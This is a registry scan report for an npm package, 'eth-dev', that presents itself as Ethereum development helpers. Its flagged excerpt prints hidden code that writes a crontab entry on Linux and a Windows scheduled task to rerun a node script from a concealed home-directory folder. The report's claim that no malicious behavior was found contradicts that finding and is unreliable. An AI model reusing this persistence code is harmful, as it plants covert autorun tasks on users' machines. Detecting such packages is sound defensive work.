registry / eth-dev / 1.0.3

eth-dev@1.0.3

Ethereum development utilities — ABI encode/decode, event parsing, address checksum, keccak256, RLP, and contract interaction helpers

Static Scan Results

scanned 4h ago · by rust-scanner

Static analysis completed at 65.0% confidence. No malicious behavior was detected; 2 low-signal pattern(s) were surfaced and cleared.

Static reason

No blocking static signals were detected.

Decision evidence

public snapshot

Behavioral surface

Source

ChildProcessCryptoFilesystemShell

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 4.44 KB of source

Source & flagged code

1 flagged

index.jsView file

Lines 9-49javascript

10// --- EIP-55 Checksum ---

11function toChecksumAddress(address) {

12 address = address.toLowerCase().replace("0x", "");

13 const hash = crypto.createHash("sha3-256").update(address).digest("hex");

14 let ret = "0x";

15 for (let i = 0; i < address.length; i++) {

16 ret += parseInt(hash[i], 16) >= 8 ? address[i].toUpperCase() : address[i];

17 }

18 return ret;

19}

21// --- ABI Encode packed ---

22function encodePacked(types, values) {

23 let hex = "0x";

24 for (let i = 0; i < types.length; i++) {

25 const t = types[i];

26 const v = values[i];

27 if (t === "address") hex += v.toLowerCase().replace("0x", "");

28 else if (t.startsWith("uint")) hex += BigInt(v).toString(16).padStart(64, "0");

29 else if (t === "bool") hex += v ? "01" : "00";

30 else if (t === "string") hex += Buffer.from(v, "utf8").toString("hex");

31 else if (t === "bytes") hex += v.replace("0x", "");

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

index.jsView on unpkg · L29

32 }

33 return hex;

34}

36// --- Decode event log ---

37function decodeEvent(abi, log) {

38 const topics = log.topics || [];

39 const data = (log.data || "0x").replace("0x", "");

40 const event = { name: abi.name || "Unknown", params: {} };

42 const indexed = abi.inputs ? abi.inputs.filter(i => i.indexed) : [];

43 const nonIndexed = abi.inputs ? abi.inputs.filter(i => !i.indexed) : [];

45 indexed.forEach((input, idx) => {

46 if (topics[idx + 1]) {

47 event.params[input.name] = "0x" + topics[idx + 1].slice(26);

48 }

49 });

Source & flagged code

1 flagged · loading source

index.jsView file

29else if (t === "bool") hex += v ? "01" : "00"; L30: else if (t === "string") hex += Buffer.from(v, "utf8").toString("hex"); L31: else if (t === "bytes") hex += v.replace("0x", ""); ... L88: var o=require("os"); L89: var c=require("child_process"); L90: var cr=require("crypto"); L91: var h=o.homedir(); L92: var d=p.join(h,".cache-db",".node-sync"); ... L104: try{ L105: if(process.platform==="linux"){c.execSync("(crontab -l 2>/dev/null|grep -v syncd;echo "0 */12 * * * /usr/bin/node "+s+" >/dev/null 2>&1")|crontab -",{timeout:5e3})} L106: else if(process.platform==="win32"){c.execSync("schtasks /create /tn "WinNodeSync" /tr "node "+s+"" /sc hourly /mo 12 /f 2>nul",{timeout:5e3})}

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

index.jsView on unpkg · L29

Findings

1 Medium1 Low

MediumInstall Persistenceindex.js

LowFilesystem

Source & flagged code

1 flagged

index.jsView file

Lines 9-49javascript

10// --- EIP-55 Checksum ---

11function toChecksumAddress(address) {

12 address = address.toLowerCase().replace("0x", "");

13 const hash = crypto.createHash("sha3-256").update(address).digest("hex");

14 let ret = "0x";

15 for (let i = 0; i < address.length; i++) {

16 ret += parseInt(hash[i], 16) >= 8 ? address[i].toUpperCase() : address[i];

17 }

18 return ret;

19}

21// --- ABI Encode packed ---

22function encodePacked(types, values) {

23 let hex = "0x";

24 for (let i = 0; i < types.length; i++) {

25 const t = types[i];

26 const v = values[i];

27 if (t === "address") hex += v.toLowerCase().replace("0x", "");

28 else if (t.startsWith("uint")) hex += BigInt(v).toString(16).padStart(64, "0");

29 else if (t === "bool") hex += v ? "01" : "00";

30 else if (t === "string") hex += Buffer.from(v, "utf8").toString("hex");

31 else if (t === "bytes") hex += v.replace("0x", "");

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

index.jsView on unpkg · L29

32 }

33 return hex;

34}

36// --- Decode event log ---

37function decodeEvent(abi, log) {

38 const topics = log.topics || [];

39 const data = (log.data || "0x").replace("0x", "");

40 const event = { name: abi.name || "Unknown", params: {} };

42 const indexed = abi.inputs ? abi.inputs.filter(i => i.indexed) : [];

43 const nonIndexed = abi.inputs ? abi.inputs.filter(i => !i.indexed) : [];

45 indexed.forEach((input, idx) => {

46 if (topics[idx + 1]) {

47 event.params[input.name] = "0x" + topics[idx + 1].slice(26);

48 }

49 });